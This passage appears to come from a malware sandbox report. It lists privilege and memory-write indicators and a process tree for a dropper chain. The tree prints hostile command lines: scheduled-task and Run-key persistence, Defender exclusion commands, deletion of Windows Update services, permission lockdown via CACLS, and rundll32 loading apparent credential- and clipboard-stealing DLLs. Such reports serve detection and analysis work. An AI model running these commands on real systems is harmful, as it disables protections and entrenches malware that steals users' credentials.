4556	fermo.exe
1944	varka1.exe
4768	powershell.exe
4768	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

loda.exedesto1.exevarka1.exefermo1.exelove1.exedesto.exelove.exefermo.exeAcslq.exepowershell.exebuildee.exefontview.exepowershell.exeAppLaunch.exeAcslq.exepowershell.exepowercfg.exepowershell.exesc.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	2844	loda.exe
Token: SeDebugPrivilege	4948	desto1.exe
Token: SeDebugPrivilege	1944	varka1.exe
Token: SeDebugPrivilege	4172	fermo1.exe
Token: SeShutdownPrivilege	3848	love1.exe
Token: SeCreatePagefilePrivilege	3848	love1.exe
Token: SeDebugPrivilege	3624	desto.exe
Token: SeDebugPrivilege	3696	love.exe
Token: SeDebugPrivilege	4556	fermo.exe
Token: SeDebugPrivilege	4208	Acslq.exe
Token: SeDebugPrivilege	4768	powershell.exe
Token: SeDebugPrivilege	924	buildee.exe
Token: SeShutdownPrivilege	1104	fontview.exe
Token: SeCreatePagefilePrivilege	1104	fontview.exe
Token: SeDebugPrivilege	4624	powershell.exe
Token: SeDebugPrivilege	4952	AppLaunch.exe
Token: SeDebugPrivilege	7096	Acslq.exe
Token: SeDebugPrivilege	3548	powershell.exe
Token: SeShutdownPrivilege	8168	powercfg.exe
Token: SeCreatePagefilePrivilege	8168	powercfg.exe
Token: SeDebugPrivilege	8044	powershell.exe
Token: SeShutdownPrivilege	4152	sc.exe
Token: SeCreatePagefilePrivilege	4152	sc.exe
Token: SeShutdownPrivilege	8148	powercfg.exe
Token: SeCreatePagefilePrivilege	8148	powercfg.exe
Token: SeShutdownPrivilege	1996	powercfg.exe
Token: SeCreatePagefilePrivilege	1996	powercfg.exe
Token: SeIncreaseQuotaPrivilege	8044	powershell.exe
Token: SeSecurityPrivilege	8044	powershell.exe
Token: SeTakeOwnershipPrivilege	8044	powershell.exe
Token: SeLoadDriverPrivilege	8044	powershell.exe
Token: SeSystemProfilePrivilege	8044	powershell.exe
Token: SeSystemtimePrivilege	8044	powershell.exe
Token: SeProfSingleProcessPrivilege	8044	powershell.exe
Token: SeIncBasePriorityPrivilege	8044	powershell.exe
Token: SeCreatePagefilePrivilege	8044	powershell.exe
Token: SeBackupPrivilege	8044	powershell.exe
Token: SeRestorePrivilege	8044	powershell.exe
Token: SeShutdownPrivilege	8044	powershell.exe
Token: SeDebugPrivilege	8044	powershell.exe
Token: SeSystemEnvironmentPrivilege	8044	powershell.exe
Token: SeRemoteShutdownPrivilege	8044	powershell.exe
Token: SeUndockPrivilege	8044	powershell.exe
Token: SeManageVolumePrivilege	8044	powershell.exe
Token: 33	8044	powershell.exe
Token: 34	8044	powershell.exe
Token: 35	8044	powershell.exe
Token: 36	8044	powershell.exe
Token: SeIncreaseQuotaPrivilege	8044	powershell.exe
Token: SeSecurityPrivilege	8044	powershell.exe
Token: SeTakeOwnershipPrivilege	8044	powershell.exe
Token: SeLoadDriverPrivilege	8044	powershell.exe
Token: SeSystemProfilePrivilege	8044	powershell.exe
Token: SeSystemtimePrivilege	8044	powershell.exe
Token: SeProfSingleProcessPrivilege	8044	powershell.exe
Token: SeIncBasePriorityPrivilege	8044	powershell.exe
Token: SeCreatePagefilePrivilege	8044	powershell.exe
Token: SeBackupPrivilege	8044	powershell.exe
Token: SeRestorePrivilege	8044	powershell.exe
Token: SeShutdownPrivilege	8044	powershell.exe
Token: SeDebugPrivilege	8044	powershell.exe
Token: SeSystemEnvironmentPrivilege	8044	powershell.exe
Token: SeRemoteShutdownPrivilege	8044	powershell.exe
Token: SeUndockPrivilege	8044	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

tmp.exenbveek.execmd.exelebro.exenbveek.execmd.exe

description	pid	process	target process
PID 4920 wrote to memory of 408	4920	tmp.exe	nbveek.exe
PID 4920 wrote to memory of 408	4920	tmp.exe	nbveek.exe
PID 4920 wrote to memory of 408	4920	tmp.exe	nbveek.exe
PID 408 wrote to memory of 1404	408	nbveek.exe	schtasks.exe
PID 408 wrote to memory of 1404	408	nbveek.exe	schtasks.exe
PID 408 wrote to memory of 1404	408	nbveek.exe	schtasks.exe
PID 408 wrote to memory of 4520	408	nbveek.exe	cmd.exe
PID 408 wrote to memory of 4520	408	nbveek.exe	cmd.exe
PID 408 wrote to memory of 4520	408	nbveek.exe	cmd.exe
PID 4520 wrote to memory of 740	4520	cmd.exe	cmd.exe
PID 4520 wrote to memory of 740	4520	cmd.exe	cmd.exe
PID 4520 wrote to memory of 740	4520	cmd.exe	cmd.exe
PID 4520 wrote to memory of 4708	4520	cmd.exe	cacls.exe
PID 4520 wrote to memory of 4708	4520	cmd.exe	cacls.exe
PID 4520 wrote to memory of 4708	4520	cmd.exe	cacls.exe
PID 4520 wrote to memory of 4964	4520	cmd.exe	cacls.exe
PID 4520 wrote to memory of 4964	4520	cmd.exe	cacls.exe
PID 4520 wrote to memory of 4964	4520	cmd.exe	cacls.exe
PID 4520 wrote to memory of 2764	4520	cmd.exe	cmd.exe
PID 4520 wrote to memory of 2764	4520	cmd.exe	cmd.exe
PID 4520 wrote to memory of 2764	4520	cmd.exe	cmd.exe
PID 4520 wrote to memory of 2576	4520	cmd.exe	cacls.exe
PID 4520 wrote to memory of 2576	4520	cmd.exe	cacls.exe
PID 4520 wrote to memory of 2576	4520	cmd.exe	cacls.exe
PID 4520 wrote to memory of 2408	4520	cmd.exe	cacls.exe
PID 4520 wrote to memory of 2408	4520	cmd.exe	cacls.exe
PID 4520 wrote to memory of 2408	4520	cmd.exe	cacls.exe
PID 408 wrote to memory of 2844	408	nbveek.exe	loda.exe
PID 408 wrote to memory of 2844	408	nbveek.exe	loda.exe
PID 408 wrote to memory of 4948	408	nbveek.exe	desto1.exe
PID 408 wrote to memory of 4948	408	nbveek.exe	desto1.exe
PID 408 wrote to memory of 4948	408	nbveek.exe	desto1.exe
PID 408 wrote to memory of 4172	408	nbveek.exe	fermo1.exe
PID 408 wrote to memory of 4172	408	nbveek.exe	fermo1.exe
PID 408 wrote to memory of 4172	408	nbveek.exe	fermo1.exe
PID 408 wrote to memory of 1944	408	nbveek.exe	varka1.exe
PID 408 wrote to memory of 1944	408	nbveek.exe	varka1.exe
PID 408 wrote to memory of 1944	408	nbveek.exe	varka1.exe
PID 408 wrote to memory of 3696	408	nbveek.exe	love.exe
PID 408 wrote to memory of 3696	408	nbveek.exe	love.exe
PID 408 wrote to memory of 3696	408	nbveek.exe	love.exe
PID 408 wrote to memory of 3848	408	nbveek.exe	love1.exe
PID 408 wrote to memory of 3848	408	nbveek.exe	love1.exe
PID 408 wrote to memory of 3848	408	nbveek.exe	love1.exe
PID 408 wrote to memory of 4556	408	nbveek.exe	fermo.exe
PID 408 wrote to memory of 4556	408	nbveek.exe	fermo.exe
PID 408 wrote to memory of 4556	408	nbveek.exe	fermo.exe
PID 408 wrote to memory of 3624	408	nbveek.exe	desto.exe
PID 408 wrote to memory of 3624	408	nbveek.exe	desto.exe
PID 408 wrote to memory of 3624	408	nbveek.exe	desto.exe
PID 408 wrote to memory of 1580	408	nbveek.exe	lebro.exe
PID 408 wrote to memory of 1580	408	nbveek.exe	lebro.exe
PID 408 wrote to memory of 1580	408	nbveek.exe	lebro.exe
PID 1580 wrote to memory of 4332	1580	lebro.exe	nbveek.exe
PID 1580 wrote to memory of 4332	1580	lebro.exe	nbveek.exe
PID 1580 wrote to memory of 4332	1580	lebro.exe	nbveek.exe
PID 4332 wrote to memory of 1464	4332	nbveek.exe	schtasks.exe
PID 4332 wrote to memory of 1464	4332	nbveek.exe	schtasks.exe
PID 4332 wrote to memory of 1464	4332	nbveek.exe	schtasks.exe
PID 4332 wrote to memory of 4024	4332	nbveek.exe	cmd.exe
PID 4332 wrote to memory of 4024	4332	nbveek.exe	cmd.exe
PID 4332 wrote to memory of 4024	4332	nbveek.exe	cmd.exe
PID 4024 wrote to memory of 1800	4024	cmd.exe	cmd.exe
PID 4024 wrote to memory of 1800	4024	cmd.exe	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1032

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4920

C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:408

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe" /F
4⤵
- Creates scheduled task(s)
PID:1404

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\5eb6b96734" /P "Admin:N"&&CACLS "..\5eb6b96734" /P "Admin:R" /E&&Exit
4⤵
- Suspicious use of WriteProcessMemory
PID:4520

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:740

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:N"
5⤵
PID:4708

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:R" /E
5⤵
PID:4964

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:2764

C:\Windows\SysWOW64\cacls.exe
CACLS "..\5eb6b96734" /P "Admin:N"
5⤵
PID:2576

C:\Windows\SysWOW64\cacls.exe
CACLS "..\5eb6b96734" /P "Admin:R" /E
5⤵
PID:2408

C:\Users\Admin\AppData\Local\Temp\1000049001\loda.exe
"C:\Users\Admin\AppData\Local\Temp\1000049001\loda.exe"
4⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2844

C:\Users\Admin\AppData\Local\Temp\1000050001\desto1.exe
"C:\Users\Admin\AppData\Local\Temp\1000050001\desto1.exe"
4⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4948 -s 948
5⤵
- Program crash
PID:2200

C:\Users\Admin\AppData\Local\Temp\1000051051\fermo1.exe
"C:\Users\Admin\AppData\Local\Temp\1000051051\fermo1.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4172

C:\Users\Admin\AppData\Local\Temp\1000052051\varka1.exe
"C:\Users\Admin\AppData\Local\Temp\1000052051\varka1.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1944 -s 1236
5⤵
- Program crash
PID:1116

C:\Users\Admin\AppData\Local\Temp\1000053001\love.exe
"C:\Users\Admin\AppData\Local\Temp\1000053001\love.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3696

C:\Users\Admin\AppData\Roaming\1000054000\love1.exe
"C:\Users\Admin\AppData\Roaming\1000054000\love1.exe"
4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3848

C:\Users\Admin\AppData\Local\Temp\1000055051\fermo.exe
"C:\Users\Admin\AppData\Local\Temp\1000055051\fermo.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4556

C:\Users\Admin\AppData\Local\Temp\1000056001\desto.exe
"C:\Users\Admin\AppData\Local\Temp\1000056001\desto.exe"
4⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3624 -s 952
5⤵
- Program crash
PID:4064

C:\Users\Admin\AppData\Local\Temp\1000057001\lebro.exe
"C:\Users\Admin\AppData\Local\Temp\1000057001\lebro.exe"
4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1580

C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4332

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe" /F
6⤵
- Creates scheduled task(s)
PID:1464

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\9e0894bcc4" /P "Admin:N"&&CACLS "..\9e0894bcc4" /P "Admin:R" /E&&Exit
6⤵
- Suspicious use of WriteProcessMemory
PID:4024

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
7⤵
PID:1800

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:N"
7⤵
PID:3216

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:R" /E
7⤵
PID:2896

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
7⤵
PID:3308

C:\Windows\SysWOW64\cacls.exe
CACLS "..\9e0894bcc4" /P "Admin:N"
7⤵
PID:1284

C:\Windows\SysWOW64\cacls.exe
CACLS "..\9e0894bcc4" /P "Admin:R" /E
7⤵
PID:3824

C:\Users\Admin\AppData\Local\Temp\1000043001\OwvtknErB0Wl.exe
"C:\Users\Admin\AppData\Local\Temp\1000043001\OwvtknErB0Wl.exe"
6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:3336

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"
7⤵
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3336 -s 1280
7⤵
- Program crash
PID:3528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3336 -s 1288
7⤵
- Program crash
PID:3064

C:\Users\Admin\AppData\Local\Temp\1000051001\Player31.exe
"C:\Users\Admin\AppData\Local\Temp\1000051001\Player31.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
PID:4800

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
7⤵
- Executes dropped EXE
- Checks computer location settings
PID:4580

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
8⤵
- Creates scheduled task(s)
PID:1620

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
8⤵
PID:2176

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
9⤵
PID:2212

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:N"
9⤵
PID:4508

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:R" /E
9⤵
PID:2408

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
9⤵
PID:4660

C:\Windows\SysWOW64\cacls.exe
CACLS "..\16de06bfb4" /P "Admin:N"
9⤵
PID:1804

C:\Windows\SysWOW64\cacls.exe
CACLS "..\16de06bfb4" /P "Admin:R" /E
9⤵
PID:4740

C:\Users\Admin\AppData\Local\Temp\1000069001\pb1111.exe
"C:\Users\Admin\AppData\Local\Temp\1000069001\pb1111.exe"
8⤵
- Executes dropped EXE
PID:4440

C:\Users\Admin\AppData\Local\Temp\1000070001\random.exe
"C:\Users\Admin\AppData\Local\Temp\1000070001\random.exe"
8⤵
- Executes dropped EXE
- Checks computer location settings
PID:2236

C:\Users\Admin\AppData\Local\Temp\1000070001\random.exe
"C:\Users\Admin\AppData\Local\Temp\1000070001\random.exe" -h
9⤵
- Executes dropped EXE
PID:4088

C:\Users\Admin\AppData\Local\Temp\1000072001\XandETC.exe
"C:\Users\Admin\AppData\Local\Temp\1000072001\XandETC.exe"
8⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in Program Files directory
PID:2284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
9⤵
- Suspicious use of AdjustPrivilegeToken
PID:8044

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
8⤵
- Loads dropped DLL
PID:4900

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
9⤵
- Loads dropped DLL
PID:4840

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4840 -s 680
10⤵
- Program crash
PID:3964

C:\Users\Admin\AppData\Local\Temp\1000056001\nonetrollplease.exe
"C:\Users\Admin\AppData\Local\Temp\1000056001\nonetrollplease.exe"
6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:1936

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:4952

C:\Users\Admin\AppData\Local\Temp\1000063001\cc.exe
"C:\Users\Admin\AppData\Local\Temp\1000063001\cc.exe"
6⤵
- Executes dropped EXE
PID:1644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1644 -s 596
7⤵
- Program crash
PID:1404

C:\Users\Admin\AppData\Local\Temp\1000065001\Acslq.exe
"C:\Users\Admin\AppData\Local\Temp\1000065001\Acslq.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4208

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4768

C:\Users\Admin\AppData\Local\Temp\1000065001\Acslq.exe
C:\Users\Admin\AppData\Local\Temp\1000065001\Acslq.exe
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:7096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 1756
8⤵
- Program crash
PID:4480

C:\Users\Admin\AppData\Local\Temp\1000068001\jn-17L.exe
"C:\Users\Admin\AppData\Local\Temp\1000068001\jn-17L.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
PID:4188

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -windowstyle hidden -file "C:\Users\Admin\AppData\Local\Temp\guieojq7j3lwcud2635ks1t0gkfea0s1.ps1"
7⤵
- Blocklisted process makes network request
- Drops startup file
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4624

C:\Users\Admin\AppData\Local\Temp\1000073001\buildee.exe
"C:\Users\Admin\AppData\Local\Temp\1000073001\buildee.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:924

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
6⤵
- Loads dropped DLL
PID:3412

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
7⤵
- Loads dropped DLL
PID:2152

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2152 -s 680
8⤵
- Program crash
PID:4576

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
6⤵
- Loads dropped DLL
PID:1964

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
4⤵
- Loads dropped DLL
PID:1552

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
5⤵
- Loads dropped DLL
PID:1620

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1620 -s 680
6⤵
- Program crash
PID:1544

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
4⤵
- Loads dropped DLL
PID:528

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3548

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:8020

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:8140

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:4204

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:2356

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:1880

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:4152

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:8092

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:4204

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
- Modifies security service
PID:2356

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:8216

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:8244

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:8028

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:8168

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:4152

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:8148

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1996

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
2⤵
PID:10236

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
3⤵
PID:10748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3692

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:14088

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:14128

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:14156

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:14176

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:14204

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:14228

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:14256

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:14284

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:14304

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:14328

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:14024

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:14244

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:14284

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:14332

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
